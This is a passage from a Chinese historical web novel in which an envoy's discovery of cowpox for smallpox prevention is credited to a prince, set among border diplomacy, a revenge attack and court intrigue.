种痘是麻烦的事情,保存痘苗更难,下层人只能在天花爆发的时候顺便给孩子种痘,因而一旦出现了天花,平民百姓死伤最多。 段之缙大概知道了刘玳廷的打算,即刻照办,乘着外出打猎或是采风的时机走访牧民,得到的答案无一例外,鲜少听说牧民感染天花。 十来日,说长也不长,说短也不短,段之缙记了满满一叠材料,终于能够回程。 苏赫来送行,额尔格还记得那日的话,把乌日两姐妹带了过来。 刘玳廷看着她们两个,突然跟额尔格说道:“人这一辈子,最不敢说的就是缘分,若没有三王子,我们也没有一面之缘。若三王子也感念这场缘分,还请好生照顾她们,说不得来日还能见面。” 说完,他又笑呵呵地看苏赫,“殿下不知,三殿下对我甚为照顾,怕我没人伺候还特意叫人来照顾。只是我没有叫女子近身伺候的习惯,推拒了。但是茫茫人海中,也有缘分,这才叫三殿下照顾这两个女孩儿。” 苏赫应下,送走了雍朝的使团恶狠狠瞪向额尔格,马鞭瞬间抽出打在弟弟身上,怒道:“你的心思还是收一收吧!私下接触雍朝的使臣……这两个女子送到我的草场下,自己去受刑处领二十鞭!” 额尔格咬牙去了受刑处,段之缙一行人紧赶慢赶回到银泉城,立刻写信和段之缙的记录一起用边军的八百里加急送回京城。 崇德皇帝对此事极为重视,命太医院的院使带着痘苗和种痘的工具赶往西北,而为首之人正是肃王纪祁。 但是朝野上下,除了一二人外只知道肃王去了西北再谈盟约,对种痘之事却一无所知。 这一二人中自然有端王纪禅。 书房内,纪禅怀抱着弟弟的儿子,娃娃今年四岁,闹了一个白天现在趴在四叔的胸前睡得像个小猪。 纪禅躺在贵妃椅上,眼前就是他的大儿子,刚刚被考察了功课,现在汗水滴答滴答往下掉。 纪禅搂着孩子晃晃悠悠,讥笑道:“幸亏你爹是个没本事的宗室,只能跟着日后的陛下吃饭。若你爹再能耐些,再弄一个权倾朝野,岂不是叫你这样的蠢货跟着沾光?” 纪攸昭撩衣服跪下,但是父王骂他骂得太经常,此时左耳朵进右耳朵出,倒没什么感觉了。 纪禅看他这个样子冷嗤一声:“死猪不怕开水烫的东西,不要在这里碍眼了。” 秦行看着大公子脚底抹油,二公子进来又被骂跑,手上仍很稳健地写大字。 纪禅晃悠晃悠孩子,吩咐道:“点灯。” 吕太清将一盏油灯凑近,纪禅忽得吹灭。 “点灯。” 吕太清又点起来油灯,又被王爷一口气吹灭。 “点灯。” 吕太清也不知道这主子是从哪里受的腌臜气,今日骂了两个儿子不够,又来折腾自己这个奴才。 “点……” 秦行打断他,“王爷怎么了,回王府撒气?” 纪禅面上带笑,一派悠闲自得的样子,话却阴阳怪气。 “我倒是想朝着外人发疯,把火气撒完了回家,但我是没用的东西,只能为难你们了。” “可是方家的事情不顺?” 纪禅颔首,“怎么六弟的命就这么好?皇上给他安排了葛礼,又把方家拉给了他,现在又要叫他去西北捡天花的功劳。可怜你的学生,枉为他人做嫁衣啊。” 装孝子装得太好太像,皇帝竟然要自己做贤王,日后辅佐他的好儿子,心肠比石头还硬呢,真把自己当白拉磨的了。 现在方克池的儿子方醒接任了九门提督的职位,母后替自己接触,却被人家客客气气地拒绝了,原来是女儿抬进了肃王府。 秦行却笑:“王爷,还不到山穷水尽的时候,怎么泄气如此早?方醒做九门提督不假,但是士兵只听最底层军官的话,没有这些底层的军官指挥,任你是天王老子也不成。” “这其中还有能操作的,日子也还长着呢。现在最要紧的是世子, 即便不能成功,王爷也该有个继承人。” 第75章 075肃王 十二月,西北又干又冷,寒风扑在窗户纸上发出嘶吼鸣叫,银泉县衙内炭火不多,使团来时也没想到会停留至十二月,只能穿当地的毛皮衣裳,倒也很暖和。 和谈的事情结束,段之缙征求了刘玳廷的同意,核查后把之前攒着的信件一股脑寄回京城,在信件中叮嘱沈白蘋要勤运动,不要把肚子养得太大,又提醒她雪天路滑,小心脚下。 这边的信飞往京城,密旨也出京,快马加鞭赶向西北,传旨的竟然是皇帝身边的首领太监吴祥。 吴祥拽着刘玳廷,笑眯眯道:“中堂大人,陛下的密旨,只能叫大人一人知道。” 刘玳廷和吴祥进入堂屋,侍从侍奉上茶水。 崇德帝的意思是叫使团先和赤砂人商议好,以传授种痘之法为由,等肃王的车驾到西北后再一起去赤砂王城。 吴祥道:“陛下找人查访了未种痘也未得过天花但是得过牛疹子的养牛户,免费给他们种痘。养牛户中一半上下没有染病,说明此法应当奏效,陛下赐名为牛痘。院使华杏林猜测是本朝的牛痘种类和赤砂人的牛痘种类不尽相同,来西北一是为了弄清此事,一则是为了采痘疮痂和脓液,你们要好好配合。” 这么短的时间内找到如此多得过牛痘的养牛户已经不易,华杏林能推测到这种程度,足以见他的本事。 “肃王会带不少没种过痘的人,至于如何叫他们进入赤砂境内,还得靠中堂大人啊。” 刘玳廷腹诽:“净会给人出难题!”嘴上却“好说,好说,老夫来想办法”。 吴祥饮下一杯茶,表情变得莫名,声音也低了下去,“还有一件事,也是皇命。中堂大人,肃王殿下为了朝廷和赤砂的盟约,寒冬腊月,从京城一路奔波到西北,进入赤砂的地界后慈惠下等的牧民,这才发现了能够预防天花的疱疹。段之缙嘛……他是委屈些,但也不必太伤心,日后建功立业的机会还多着呢。事情说出来不好听,陛下吩咐您费费心思。” 刘玳廷这才明白为何叫一个王爷赶来西北,原来是抢功劳的。 上下嘴皮子一碰,什么“日后建功立业的机会还多着呢”。若此次真能大获成功,是千古流芳的功绩,一个人能遇几回? 只是君要臣死,臣都不得不死,何况还没叫你死。 刘玳廷面色如常,“陛下的意思老夫明白了,这件事老夫会和段之缙说的。” 当日晚上,段之缙就被招到了刘玳廷的堂屋。 亮着十几盏灯,整个室内都亮堂堂的。 屋内就两个人,段之缙站在案前,刘玳廷推着他坐下,递给他一个小杯,段之缙双手接过,轻抿一口笑道:“中堂好兴致,这么晚还传下官饮酒?” 刘玳廷不语,示意他满饮,段之缙仰头喝下,中堂没由头地问道:“老夫倒还不知道你的字呢。” “回中堂,下官字‘允升’。” “是哪两个字?” “周易中的‘允升,大吉,上合志’,下官读书时先生所赐。” 刘玳廷细思拊掌大赞:“《周易》升卦初六爻的爻辞,妙极!你可知如何解?” “先生说,是望下官‘稳步晋升,终获吉祥’。” 刘玳廷又给他斟一杯酒,劝他喝,解道:“这卦象,地风升,巽下坤上,巽德与坤德结合,方得吉祥。” “巽就是柔顺,坤就是包容。老夫说你先生的字取得好,就是因‘柔顺’二字对为官至关重要。”说着又斟一杯,段之缙饮下,不解其意。 刘玳廷又道:“你比如说老夫,年轻的时候从不争狠斗勇,对上官恭敬,对下属包容,对陛下柔顺,这才有今日……” 他絮絮叨叨说尽了自己的为官路,终于轻声道:“你之前发现的牛疹子,仿照人痘起名牛痘了。吴祥,就是今日的传旨太监,带来陛下的吩咐,说咱们得帮一帮肃王,第一个发现牛痘的人得是肃王。” 段之缙怔愣住,一时间千头万绪却听见嘴巴自己说话,“全凭陛下做主。” 刘玳廷铺垫了半天,见他能识抬举吞下这口气,大大放下心。 就怕死犟的年轻人,不光叫他难做,连自己的前途都拼上,就为争一口气。 “这就好,日后不会亏了你的,这次老夫会为你大大的表功,去六部当差吧。其实不光是你,历朝历代何尝不是如此?将军在外浴血奋战开疆拓土,人家提起也只赞一声圣上英明,谁还记得京师离边境千万里,战事只能靠将士们随机应变?为人臣,首先要学会的就是归善于上……今日老夫陪你喝,把火气喝出去,把发现牛痘之事当做一场梦,梦醒了再好生当差,不要拿自己的前途赌气。” 刘玳廷和段之缙对饮,好生安慰了这个年轻人,又亲自送他回去,还叫自己的侍从看好了他,别叫这个醉鬼出了事。 段之缙一觉醒来,只觉得头昏脑涨,太阳穴绷着两根筋脉突突直跳,难受到顾不得伤心。 又休息了一天,刘玳廷带着他在交界线处和赤砂人交涉,言说愿意将中原预防天花的方法传授给赤砂人,希望在止步关相见。 没过几天,大王子苏赫就带着人马到了银泉城。 满身风雪奔驰而来,苏赫连歇也不敢歇,在止步关口见到刘玳廷两三碎步上前,急问:“你们中原有预防天花的方法?” 刘玳廷拉住苏赫,“大王子,何必着急呢?也是机缘巧合,竟叫我们使团知道了邻友饱受天花之苦,如何能袖手旁观?这才请示了大皇帝,大皇帝陛下恩德盖天,愿意将种痘法传授友邦。” 苏赫抽出手,抱臂而立,“大人,你们中原有一句话叫做无利不起早。还有一句话叫做天上不会掉馅饼。倘若你们想要达成的目的超出赤砂人的底线,那就不要来诱惑我们。” 刘玳廷为了叫段之缙多表现些,也为了能更好地给他上报功劳,叫段之缙上前答话。 段之缙拿出早就准备好的理由,回道:“您这是说什么话?我们所求的,不过是养马之法。我们中原还有一句话,叫做千里马常有,而伯乐不常有。现在我们有了千里马,却没有会养千里马的伯乐,只要友邦愿意倾囊相授,我们朝廷也愿意倾囊相授。” 图尔赫垂垂老矣,苏赫作为下一任大汗,他在事务上的话语权不是两个弟弟能比拟的。和跟来的臣属商量一番,应下来。 “我们会把养马之法教给你们,但是你们如何保证教给我们的种痘法一定奏效?” 段之缙反问:“我们把种痘之法教给你们,你们又如何能保证养马之法是真的?” 苏赫不语,段之缙自问自答:“不如这样,等着我们大皇帝陛下派遣的养马官和大夫来了之后,我们带人再入赤砂,一边帮你们赤砂人种痘,一边请教赤砂牧民何以养马,是真是假,我们大家都有个底。” “也好。” …… 十二月中旬,肃王的车驾停在银泉城西门前,竟用了半副帝王仪仗,迎接王驾的官员瞠目结舌。 “臣等叩见王爷,王爷千岁千岁千千岁!” 肃王纪祁连忙叫起,一身常服上前,搀起为首的刘玳廷,“老中堂快快请起。您这样的年纪和德望,虽为臣也是本王的前辈,叫你在雪地里迎接是我粗心了。” “折煞老臣了,老臣迎驾乃尽人臣之本,何敢言劳?” 纪祁寒暄两句,搀着老大人,又扬声问道:“谁是段之缙?” 段之缙立刻上前,“微臣段之缙叩见王爷!” “真乃青年才俊。”纪祁夸赞一番,叫段之缙退下,一行人进城休整。 第三日,以肃王为首的使团带着大批养马官和太医院大夫深入西北,又往王城走一遭。 到达王城当日,华杏林吩咐带来的医官教授赤砂医官痘衣法,自己则混入养马官之列,一起去牧民家中。 那些被冠以养马官之名的小吏虚心请教当地的牧马人,华杏林则到处打听染牛痘后再染天花的牧民,又使银两,以强身健体为由,将带来的天花痘疮痂给得过牛痘的牧民接种,果然无一人病发。 西北的牛痘和中原的牛痘的确不一样。 华杏林弄清楚后,便不断寻找患病的人或牛,用棉团收集牛痘的脓液和牛痘的痘疮痂,先给养马官中未种痘的人接种,再接种人痘,同样无一人病发。 只是他们仍按照接种人痘的水苗法接种牛痘,将痘疮痂研末并用水调成 浆,用棉花沾浆团成枣核状,再用线拴着塞入被接种者的鼻孔,十分麻烦。 段之缙跟着他们在草原上奔波,每日都在回忆牛痘的知识,提议道:“反正都是接种,何不直接将手臂一处刺破,把痘疮痂或者脓液涂到伤口?这样更为快捷简单,农户自己都能接种。” 华杏林实验一番,果然可行。段之缙还提醒他刀具要火烧凉透后再给下一个人接种,否则会传染脏病。 而赤砂人那边,朝廷仍有所保留,只教授给他们痘衣法和痘浆法,先将轻症患者的衣服给一位赤砂贵族穿上,待其病发后再用患病人的天花脓液为其他贵族接种。 此两法比之中原常用的水苗法更为凶险,失败的概率也更高。 但是对于赤砂人而言,这已经是意外之喜了,最后两方都十分满意,收获颇丰。 额尔格观察数日,也是收获颇丰。 他早就看清,现在使团不再以刘玳廷为首,而是以那位肃王为首,且据说,跟在肃王身边伺候的人,是他们大皇帝的亲信阉人。在赤砂,只有苏赫能够动用父汗的人,想来肃王会是下一任的大皇帝。 何苦再去和那不能人道的中堂大人牵扯?这个肃王才是最好的人选。 就在肃王游览异国风光时,被额尔格拦了下来。 “千岁王爷,您还记得我吗?” 肃王点头,笑道:“三殿下,好久不见。” “我有要事与千岁王爷商讨,能否借一步说话?” 现在两邦亲善,肃王也不必害怕出事,方要应承,跟随的长史昌裕正色道:“殿下,我们是朝廷的使臣,您是赤砂的王子,若没有汗王的许可,我们不应该私下接触。” 昌裕是肃王府长史,本就有权管束王爷,更何况他是陛下亲命,还特意嘱咐了他看紧纪祁,做任何事情都要多指点教导,他自然不能叫肃王和额尔格私下接触。 额尔格也不生气,“千岁王爷,我要说的事情,对你有利无害。” 昌裕还要拒绝,纪祁却道:“长史,无事的,他是汗王的儿子,我是大皇帝的儿子,我们两个可以平等相交。” 昌裕到底是臣下,王爷已经表态,他再劝也不好,只能跟着纪祁去。 额尔格所说的好事,无非是想效法阿勒速和雍朝勾结,他深褐色的眼睛闪闪烁烁,“千岁王爷,若我们能达成盟好,待我成功之日,界线如何不能再往西北退呢?” 言下之意,愿意用割地来换取支持。 纪祁心动万分,比起白捡功劳,自己立功才更有说服力。 昌裕却听出了不对,朝廷和阿勒速勾连,是因为阿勒速现在就能给草场,但是额尔格却是在画大饼。朝廷要先给他助力,还要等他成功后才能拿到那块儿不确定的地,这买卖谁做谁傻子! 因而义正言辞道:“两国盟约,全是光明正大,决不能有背地里的阴谋!这次就当我们王爷没听见,王子殿下也没有说过!” 也顾不得纪祁本人的意见,以下犯上硬拉着他走了。 王爷的长史素来是宗人府选派,昌裕却是陛下亲自挑的,不看僧面看佛面,纪祁虽心中恼怒,路上还是忍了下来,回到帐子中才一把甩开,深吸两口气,还是没忍住嗔道:“昌裕,你又有何高见?” 昌裕把道理掰开揉碎了喂给纪祁,纪祁这才明白,气势软下去,但他对昌裕的不满已深,拿着鸡毛当令箭,成日管东管西,银泉城门口还非要自己见一见段之缙,说些体己话激励他。 走了狗屎运的小官,无意间发现了牛痘,有什么好见的? 那边额尔格却通过此知道了谁是棘手的人。 甩开昌裕,肃王倒是好接触得很,只要钩子放得够隐蔽,再和他沟通沟通感情。 一日宴会,额尔格吩咐臣属将昌裕拉住灌醉,将一个女子送到了肃王帐内,肃王酒喝得正好,既不十分醉,也不清醒,成就了好事。 翌日,昌裕却在帐外气了个半死。 普天下,怎会有如此的王爷?! 刘玳廷也气得头昏,使团里的人一言不发,实则都怪长史没有看好王爷。 只有段之缙扶着昌裕坐下,省得他直接气得仰倒,昌裕却直接拽住了段之缙的袖子,也顾得不旁的了,愤恨道:“你说说!我这个差事还能不能干了?一会儿没看住,就和蛮女……”说到此处难以启齿,本国的皇子,出使敌国,饮酒后和敌国的女人睡觉,他要是个普通皇子就罢了,可偏偏昌裕知道皇帝的打算。 现在使团的人还都知道了,日后人家说起来,你们雍朝的皇帝去敌国的时候,做的唯一的事情就是和蛮女……怎么就管不住自己! 昌裕气到极处,直接把伺候王爷的太监侍从拖出来杖打,纪祁终于从帐子里出来,看外边乱糟糟一团,只觉这些臣子都在这儿看他的笑话,厉声叱骂昌裕,大家三三两两散去,唐馥和段之缙一块儿准备再往远处走走,找些新的牧民。 转年过了一月,牛痘的事情才算完,苏赫和额尔格一起送使团回银泉城,还进城休整了两日,那个受幸过的女子也跟着肃王,一起回到了县衙。 只可惜红颜薄命,肃王还想着带那女子回京,昌裕却为了王爷的名声,叫人在纪祁外出的时候吩咐人勒死了那女孩儿。 只需一根弓弦而已,连白绫也不配用。 总之,决不能带着人回京,不能叫皇帝知道自己办差不力。 额尔格正和肃王打得热火朝天,得知消息的时候,阴阳怪气了几句长史好大威风,又说些可怜女子家人的话,吩咐自己的臣属去给她的父母报丧。 肃王怒火中烧,女子虽可惜,但更恨昌裕凌驾于他之上,回县衙又是一顿闹,昌裕把“陛下吩咐”四个字用的炉火纯青,硬生生压住了肃王的气焰,又拿着大业劝说,才把他安抚住。 二月初,赤砂人出城,肃王亲来相送,竟和额尔格有些依依不舍,昌裕和肃王的关系已经算是有史以来最差的时候,只能睁一只眼闭一只眼,用最后一面来安慰自己。 苏赫冷眼看着这个不安分的弟弟,只想一刀砍死他。 第76章 076回京 都到了二月多,西北还是没有一点儿开春的迹象,段之缙和邵俊铭穿着厚重的棉袄,兜着手冷眼看纪祁和额尔格依依惜别,邵俊铭冷不丁嗤笑一声。 “到底是龙子凤孙,和我们这些做臣子的不一样,对着赤砂人的脸也能眼含热泪。” 段之缙盯着他们只觉不对。 纪祁和额尔格都是争权夺利过程中的失败者,不过纪祁的失败有他烂泥扶不上墙的原因,若没有皇帝的支持,他连参与竞争的资格也没有。 就算有皇帝的支持,他也难和誉王、端王抗衡。 额尔格不一样,不见兔子不撒鹰的货色,若一点好处捞不到怎么会和纪祁如此亲密?连女孩儿都送给了纪祁。 因而提醒道:“邵兄,你们还是要小心些,我怕肃王被额尔格欺瞒,和他说了不该说的东西。” 邵俊铭眉头一皱,“我知晓了。” 肃王拉着额尔格的手,倒有几分情深义重,“送君千里终有一别。一路小心。” 额尔格反握住他的手,“多谢王爷,额尔格只能祝你心想事成了。”语罢,他抽出手,带着人翻身上马,纪祁也转身上马车,使团回程。 昌裕只觉得眼前的场景比戏文里的还精彩呢,看着纪祁上车忍不住回头怒瞪额尔格,却见一道寒光直冲纪祁飞去。 全身的血都凝住了,昌裕几乎是靠着本能将纪祁扑倒在地,一只利箭钉在马车上,入木三分。 “护驾!快护驾!” 敌在暗,我在明,唐馥一边嘶吼一边把纪祁往马车下塞,段之缙等朝廷官员围绕着马车,又被侍卫们团团围住。 嗖得一声,使团方向又飞一箭,朝着段之缙的方向被唐馥一剑挡住。 一句话没说,唐馥指挥城 门口的守军按照箭矢的方向搜捕,又一只冷箭袭来,这一次是射向赤砂人,正中额尔格肩膀将他射下马来。 唐馥一看,剑一指喊道:“去那个方向!” 赤砂人的马躁动不安,方才袖手旁观的苏赫也带着人搜捕,没过多久就逮到了凶手,她的重弓和没用完的箭矢被扔在地上。 是一个赤砂女人,头发脏成一把枯草,被强压在地上,却仍然挣动着,张口欲咬。 纪祁仍呆在马车下,怕有同党。 苏赫却能从箭矢的间隔中判断出来,这女人是独身来的。 唐馥见苏赫等人已经停止戒备,上前用赤砂话斥问:“你是谁派来的!” 那女子不答,啐了一口被唐馥躲过去。 苏赫抽出刀,“这世界上,除了汗王,每一个赤砂人都有他的主人,每一个赤砂人都有管控。你不说话,我就杀了你,带着你的尸体挨个草场询问,你的亲人都会被我投给狼群。” 两国盟约签订不久,赤砂人闹出了事端,一定要给人家交代。他还有些小心思,此事与他无关,最好能和两个弟弟有关。 女孩儿挣动的动作停下,眼睛里滚滚怒火,转头盯着被搀起来的额尔格,嘶吼道:“二王子,我的主子!你敢不敢跟你阿哥说,我阿姐是怎么死的!她是怎么被雍朝人用弓弦勒死的!” 在场的官员,懂赤砂话的人不多却也不少,唐馥听得明明白白,瞬间想起了肃王从赤砂带回来的女子。 她被勒死了?! “你还有没有同党?!”唐馥问,女孩儿不说话。 苏赫告诉唐馥,按照射箭的间隔,不会有同党,唐馥这才回去,服侍着纪祁上马车。 昌裕的脸上被箭锋擦出了一道口子,脸上的血淅淅沥沥淌下来,他时刻护着肃王,脸也顾不得擦。 现在拽着唐馥,怒问:“到底是怎么回事?出城前,你就没清查过城门口?!” 唐馥甩开他的手,冷笑一声,阴阳怪气道:“长史大人,这个事儿你可不能怪我了。你们勒死了人家阿姐,这才招来了冷箭。” 他也气得很,声音很大,在场的官员听得明明白白,纷纷以眼神相互示意。 马车上的肃王头一回见这样的场面,腿边湿漉漉,更恨昌裕自作主张,招来了今日的祸事。 昌裕听此言浑身瘫软,只能扶着马车强作支撑。 这下全完了…… 苏赫问明白了事情经过,更想一刀攮死额尔格,怎么处置这个女孩儿更是问题。 额尔格没有半分愧疚,此时箭矢被拔出来,提着刀怒气冲冲上前,刚要举刀,又被苏赫拦下。 “你惹出来这样的祸事,还敢张牙舞爪?滚回去!”他怒完,又走向雍朝人,“这个女孩儿,你们要怎么样?” 昌裕咬牙切齿,“刺王杀驾,凌迟处死!你们赤砂人也该给我们说法!” 苏赫冷嗤一声,“那你们雍朝人随意杀了赤砂的女人,又该怎么算?” 昌裕大惊:“那女人是你们二王子送给我们王爷的,已经是二王子的奴婢了,怎么能算赤砂人?” 苏赫回看额尔格,额尔格心里恼怒,但是现在受伤,还是不要招惹苏赫,于是上前道:“她是我草场里的奴隶,册中写着她的名字,何时送给了你们?只是叫她暂且伺候你们王爷。” “你!”昌裕还要再说,肃王自觉丢脸丢够了,厉声道:“够了!你们赤砂人自己处理吧!现在立刻回城!” 这里边身份最尊贵的就是他,刘玳廷叫风吹得头疼,躺在床上休息,自然肃王说什么就是什么。 因而明明应当再和赤砂人拉扯一番,只能随驾回去。 停车的地方一摊水迹,众人恍然大悟。 怪不得不愿意再管了,原来是要回去换裤子。 段之缙跟邵俊铭这样品级低的官员远远坠在马车后边,邵俊铭瞪着前头的马车,怒火中烧。 赤砂的女人本来就住在他的县衙,邵俊铭如何不知道?但他的县衙内死了人,他还真就不知道!此时肺都要气炸了,恼道:“额尔格整日想着争权夺利,一个女人能碍着他什么事儿?早晚有他的苦头吃,最好叫他阿哥逼到我止步关门口,叫我看看他的下场。” 表面上说一个人,实际上骂两个,段之缙却想到了苏赫的结局,止步关前腹背受敌,自刎而死。 段之缙拉住邵俊铭,故作玩笑:“若真有一日,他们的王子被逼到止步关前,该放人进来才是,之后朝廷再干涉赤砂,也是师出有名。” 回到城内,唐馥去找了刘玳廷说今日的经过,刘玳廷只觉头痛更重,脑袋像叫人捶了,可也不能不管肃王,也得叫跟来的官员摆正心思,皇子王孙,不是他们能嘲笑的。 当晚便开庆功宴,县衙内大摆宴席,还叫来了将军陈冲。 酒过三巡,刘玳廷举杯向纪祁,“圣主有王爷此等不世出之颖慧仁孝之子,风餐露宿来西北,还能在赤砂境内发现牛痘,造福无数生民,不仅是宗藩之幸,更是我亿兆生民之幸。” 使团的人去年就来了,哪能不知道牛痘是谁发现的?此时鸦雀无声,面面相觑。 还不等刘玳廷示意段之缙,段之缙举杯跪倒在堂屋中央,“王爷天纵英明,微臣敬服。”饮酒下肚,跪地称颂。 众臣也纷纷效仿,一时间山呼千岁,至于每个人的心境,那却不能说了。 晚上,冷冷的月亮挂在天上,段之缙刚要睡下,外边又传来敲门声。 “谁?” “是我,唐馥。” 披上棉袄开门,唐馥提着一大坛酒进屋,手里还有两个大碗。 段之缙一想,便知他要做什么,推拒道:“可别,今日都要喝死我了,一口也不能进肚。我也无事,用不着借酒消愁。” 唐馥却笑:“段兄,你不喝就叫我自己喝,但是话你一定要听。” 段之缙给他满上酒,“请讲。” “你伤心吗?” “有点儿,但中堂大人早就与我说了,倒不十分伤心。”他本想用此为姨娘请封诰命的,现在不用想了。 唐馥啜一口酒,“想想京里的妻儿,应该高兴了吧?” 段之缙叹一声,“有什么好高兴的?生下的儿子给人家做人梯,生下来女儿叫人家用弓弦勒……”说到一半,打了自己两嘴巴,“呸呸呸!当我没说!”这太不吉利。 唐馥道:“你做父亲的,儿女将来如何,得要你去拼啊!” 话锋一转,又道:“但是拼来拼去,抢功冒名,是常有的事情,我们这样没出身的人,若找一个权贵庇护,你的就不是你的,不是你的也是你的。” 段之缙明白他的意思,你的功劳不是你的,不是你的黑锅叫你来背。 “譬如我,会兵法有什么用?你绞尽脑汁,只不过是给上官的军功添一笔,若不是人人都知我是端王府出身,如何能保住这样的 功劳?” 段之缙睨他一眼,在西北还不忘替端王拉人,王爷难道没跟你说我给他出过好几次主意了吗?怎么不见你之后那么忠心? 嘴上却道:“皇上要抬举肃王,端王能阻止吗?” “但端王能再把你的功绩还给你。” “我一个无名无姓的小官,怎么能入王爷的法眼?” 唐馥笑道:“回去就不是无名无姓了,刘中堂会荐你去六部任郎中。段兄,我与你坦诚相见,拉你,一是为了叫王爷在部中多一个人,二也是为了我自己。” “我是一等御前侍卫,前几次同王府的人饮酒,皇帝都旁敲侧击了好几次,问我是否和王爷有联络,从此之后我就不能和王府有瓜葛了。他们羡慕我做三品官,天天在皇帝跟前伺候,御前侍卫前途无量,但怎么不想想,那些前途无量的,哪一个没有好父亲?倘若我和王府远了,日后的路就难走了。段兄,我为你指一条明路,所求不过是你能常在王爷跟前说我的好话。” 段之缙给他满上酒,不置可否,唐馥喝一口,道:“六部不是理藩院,哪怕是礼部、工 部,都绝非理藩院的官员能想。我常在皇帝身边伺候,听过许多政事。”他酒碗刚下去一点,段之缙又要给他倒,被唐馥一把拦住,“我这是两个人的量,你可不能全叫我一人饮了,你有什么想法改日同弟说,弟先回去了。” “何必改日?我现在就给你答复。” 唐馥转身,只听他道:“唐弟,王府内的秦行先生是我老师,我早就见过端王了,咱们两个本就是一家人。”他上前递给唐馥帕子,想起赤砂一块狩猎,一块儿在牧民家记录的日子,早上又是唐馥挡剑,提醒道:“你有大才,又豁得出命去,官运亨通是必然的。但不能急功近利,端王本就爱重你,如何会忘了你呢?更不能贪,所谓贪之一字,为官最忌……” 你若不是太想立功升官,也不会一头扎进泥沼中,更不会犯了贪诫,落一个三尺白绫的下场。 喝了酒就容易絮叨,刚才又说了一家人的话,段之缙更絮叨,直接打开了话匣子,把唐馥说得翻白眼。 没过几日,使团启程回京,在自己草场修养的额尔格看向银泉城的方向,问道:“那些使臣,应该走了吧?” 伺候他的臣属回道:“就是今日。” 额尔格轻笑,将信交给属下,“交给父汗,就说你的主子在草场发现了牛的天花,也能够预防人天花。” 臣属应下,又不平道:“那个女人伤了殿下,大王子竟然还留下她,这次叫汗王下令杀了那个女人!” “这有什么?牛痘才是真正的要紧事。” 这还要多谢雍朝王爷…… …… 路上,刘玳廷把出使一事写成一份长折,上奏皇帝,三月份的时候,使团终于望见京城的大门,此时离沈白蘋生产,也只不过一个月。 段之缙先去理藩院述职就急匆匆回了家,至于宫里的宴会,他是没资格参与的。 段之缙急着去正堂请安,再回致知斋看沈白蘋,却见院子里一个眼生的妇人搀着蘋儿,就在花圃里散布,一时间连连后退,怕冲撞了人家。 蘋儿一笑,招他过来,“这是弟妹。” 妇人躬身施礼,口唤大伯。 屋内的段之绪也扶着王虞出来,给段之缙行礼,“大哥。” 而施姨娘怀中,抱着一个男孩儿,穿着红色小袄跟个年画娃娃一样讨喜,见着生人还有些怕,一头拱进姨娘的怀里。 段之缙扶着蘋儿进屋,喜道:“你们如何上京了?” “珠珠也要一岁了,不怕舟车劳动,叫他上京给母亲看看,也是尽他做孙子的孝心。” 弟妹扶着沈白蘋去致知斋歇着,段之缙和段之绪叙话,问起外祖,又问起县令李显光。 “你还给李大人做师爷吗?大人身子如何?” “大人近年多了心悸之症,我去和外祖说,外祖也怕大人出事,替大人请了不少师爷,现在只要不过度劳累,其余都无碍。” “那就好。” 兄弟两个说完,段之缙回房去陪沈白蘋,从外边看肚子倒不大,可是晚上歇息的时候换上亵衣,浑圆的肚子就挺了出来。 段之缙贴着肚子听,又皱着眉问:“是不是养得太胖了?”话音刚落,脸被猛地踹了一脚,孩子在肚子里闹起了脾气。 沈白蘋轻笑,假嗔:“这还胖呢?弟妹说我的肚子算小的了,她怀孕的时候,肚子比我还大些。” 段之缙松下一口气,“小就好,小就好……小点好生产。对了,怎么不见妹妹?” “你还配做哥子呢,又忘了?等着过了端阳节,霓丫头也好出嫁了,现在日日绣嫁衣,哪有功夫来理你?” 段之缙这才记起来,突然就舍不得自己的妹妹,想想宋征舆,只觉得他也不十分好了,坐在脚踏上给蘋儿捏腿,一边嫌弃自己的妹夫,“当初就应该定得晚些,该叫宋征舆先挣出来大宅子,再叫霓丫头出嫁!” 沈白蘋戳戳他的脑袋,“没有的时候急死了,现在有了又嫌弃小宋?再者,你怎么知道人家没有大宅子?咱们前街的人家搬走了,你猜搬进来谁?” “不会是宋征舆吧?” “怎么不是?小宋说端王赏赐巨厚,他便出了两倍价钱买前街的屋子,以后霓丫头回家也方便。她的婆母也好,每日都叫人送东西来,还偷偷地替霓丫头绣嫁衣,要不然霓丫头得白天黑日的熬着。” 夫妻两个商量了一会儿妹妹的婚事,赶紧歇了,第二日段之缙去理藩院,朝廷的调令已经下来,段之缙任工部都水清吏司郎中,正五品官职,当日就要去工部点卯。 第77章 077生子与工部差事 工部到任第一日,首要拜见尚书杜谦大人,杜谦瞧他一眼,只说了一些勉励的话,再看一看他身上的七品官服,提醒道:“明日记得换成白鹇的补子。”又叫侍郎刘审嘱咐他两句。 刘审四十不到的年纪,清瘦白皙,眉间三道竖纹,怎么瞧怎么苦,还有两三分眼熟。 他伏案办公,随口问道:“你瞧我眼熟不眼熟?” 段之缙大吃一惊,回道:“下官见大人,的确有两三分眼熟。” “这就对了,家父是大学士刘玳廷,他回家与我说起了你。我也没什么好说的,还是恭喜你吧。工部虽是六部最贱,但你要去的都水司可不一样,除了吏部和兵部的几个司比不得,都水司的油水数一数二。不过油水大,差事也难干,和户部扯皮也要靠着你们,钱粮之事一旦出错,脑袋搬家都是轻的。我还有事,再多的,就叫其他的郎中教教你吧。” 刘审给段之缙指明了都水司的位置,就去忙别的事情了。 段之缙谢过上官,一人去了都水司。 都水司衙门外堂十几位经承忙忙碌碌,只有一位经承柳世华在门口甩着荷包,段之缙刚靠近,他上前询问,“可是今日新到任的段之缙段郎中?” “正是。” “下官柳世华拜见大人,我们江通江郎中叫下官在此迎接。” 段之缙由他引入东屋,里边已经坐着三个郎中,年纪最大的一位就是江通,其余二位分别是祝严法和丁璇,年纪也不小。 四个人寒暄一阵,那三人赞年少有为,段之缙说自己年纪小还需前辈提点。 这四人中,江通的年纪最大,威望最重,另两人隐然以他为首。 江通不是上官,上官的架势却摆得很足,拍拍段之缙的肩膀道:“段大人,我知道你原先是理藩院行走,若说六部办差的经验嘛,还是我们这些老人多。再者,吏部光跟官打交道,刑部跟犯人打交道,礼部跟礼打交道,户部跟钱打交道,兵部和军官们打交道,我们工部却麻烦得很,我劝你先学习一些时日,几个月后再正式办差如何?” 都是五品的郎中,江通可以做前辈的样子,却不能摆上官的架势,段之缙又听他“苦口婆心”,却满是高高在上的姿态,又话里话外地拦着自己办差,便知来者不善了。 “哦?那晚辈可要请教一番,这工部有什么麻烦的。” 